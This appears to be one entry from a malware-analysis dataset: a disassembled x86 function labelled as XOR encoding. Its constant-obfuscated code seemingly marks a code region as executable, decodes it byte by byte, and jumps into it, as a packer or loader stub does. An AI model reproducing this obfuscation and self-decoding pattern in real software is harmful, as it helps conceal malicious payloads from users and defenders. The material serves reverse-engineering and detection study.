Function at 0x4054aa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x40560c
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetSystemDefaultLCID
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
xor ecx, ecx
mov edx, 0x14
mov eax, ebx
call fcn.0040520c
mov edx, dword [ebp - 0xc]
mov eax, 0x40c494
call fcn.004031e8
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x405624
mov edx, 0x1b
mov eax, ebx
call fcn.0040520c
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404cc4
mov byte [0x40c498], al
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x405624
mov edx, 0x1c
mov eax, ebx
call fcn.0040520c
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404cc4
mov byte [0x40c499], al
mov cl, 0x2c
mov edx, 0xf
mov eax, ebx
call fcn.00405258
mov byte [0x40c49a], al
mov cl, 0x2e
mov edx, 0xe
mov eax, ebx
call fcn.00405258
mov byte [0x40c49b], al
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x405624
mov edx, 0x19
mov eax, ebx
call fcn.0040520c
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404cc4
mov byte [0x40c49c], al
mov cl, 0x2f
mov edx, 0x1d
mov eax, ebx
call fcn.00405258
mov byte [0x40c49d], al
lea edi, [ebx + 0x26d6b3dc]
mov edi, 0x44baee26
xor edi, ebx
mov esi, edi
xor esi, 0xffffffff
and esi, 0x59c4e936
and edi, 0xa63b16c9
or edi, esi
mov ecx, 0x188864a0
mov ebx, 0x23600104
xor ecx, ebx
xor edi, ecx
push 0x68c2761
mov ebx, 0x68c2761
pop ecx
xor ebx, ecx
xor ebx, edi
push 0xfed1a222
mov edx, 0x12e5ddd
pop ecx
xor edx, ecx
add ebx, edx
mov eax, dword [ebx + 1]
mov esi, 0
mov ebx, 0
xor esi, ebx
push esi
mov esi, esp
add esp, 0xfffffffc
mov dword [esp], esi
pop edx
mov edi, edx
mov ebx, edi
add esp, 0xfffffffc
mov ecx, esp
mov dword [ecx], ebx
push 0x2848fae6
mov esi, 0x2848faa6
pop ecx
xor esi, ecx
push esi
push 0x78685004
mov ebx, 0x7868ce04
pop ecx
xor ebx, ecx
push ebx
push 0x61762682
mov ebx, 0x61363682
pop edi
xor ebx, edi
push ebx
call eax
pop ecx
mov eax, 0x10e1565b
xor eax, 0x50e7e67b
mov edx, 0x46147abc
mov esi, 0x6e0478bc
xor esi, edx
xor eax, esi
mov ebx, 0x28121001
mov ecx, 0x4004a100
xor ebx, ecx
xor eax, ebx
mov ecx, 0x3680100
mov edx, 0x2804c604
xor ecx, edx
mov edx, 0x4761b348
mov ebx, 0x4fc5e394
xor ebx, edx
xor ebx, ecx
push 0x7518e28
mov edi, 0x24d943bd
pop ecx
xor edi, ecx
xor ebx, edi
mov edi, 0x4385a6e0
xor edi, 0x10786741
push edi
push 0x6d24faa0
mov ecx, 0x9fdd42a
pop edi
xor ecx, edi
pop edx
xor ecx, edx
mov edi, 0x224b7a73
add edi, 0x4b
push edi
mov edi, 0x40696ce4
mov esi, 0x554675ac
xor esi, edi
pop edx
xor esi, edx
xor esi, ecx
xor edi, edi
add edi, eax
mov edx, 0xfffffffc
add esp, edx
mov ecx, 0
xor ecx, esp
mov dword [ecx], edi
mov edi, esi
mov edx, 0
xor edx, edi
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], edx
xor eax, eax
mov al, byte [ebx]
add esi, eax
mov al, byte [esi]
mov ecx, 0x94ef3825
add ecx, 0x66
push ecx
mov edi, 0x1e20b21
xor edi, 0x169e0ad7
mov ecx, 0x1652139a
xor edi, ecx
xor edi, 0x3f0133d2
pop edx
xor edi, edx
cmp esi, 0
je 0x4055d2
pop esi
mov byte [ebx], al
dec ebx
pop eax
mov edx, 0x7bbb1179
add edx, 0xb6
push edx
push 0x32efff18
mov ecx, 0x4954ed36
pop edx
xor ecx, edx
pop edi
xor ecx, edi
sub eax, ecx
xor edx, edx
add edx, eax
mov edi, edx
add esp, 0xfffffffc
mov dword [esp], edi
pop ecx
and ecx, ecx
jne 0x4055d2
push 0x3c3d3a8
mov ebx, 0x2d7d7e0
pop edi
xor ebx, edi
mov ecx, 0x10546aec
mov esi, 0x78dd007c
xor esi, ecx
xor ebx, esi
mov eax, 0x51157e70
mov edi, 0x21718ff9
xor edi, eax
mov esi, 0x5deed57a
mov edx, 0x44571d06
xor edx, esi
xor edx, edi
xor edx, ebx
call edx
pop eax
pop eax
ret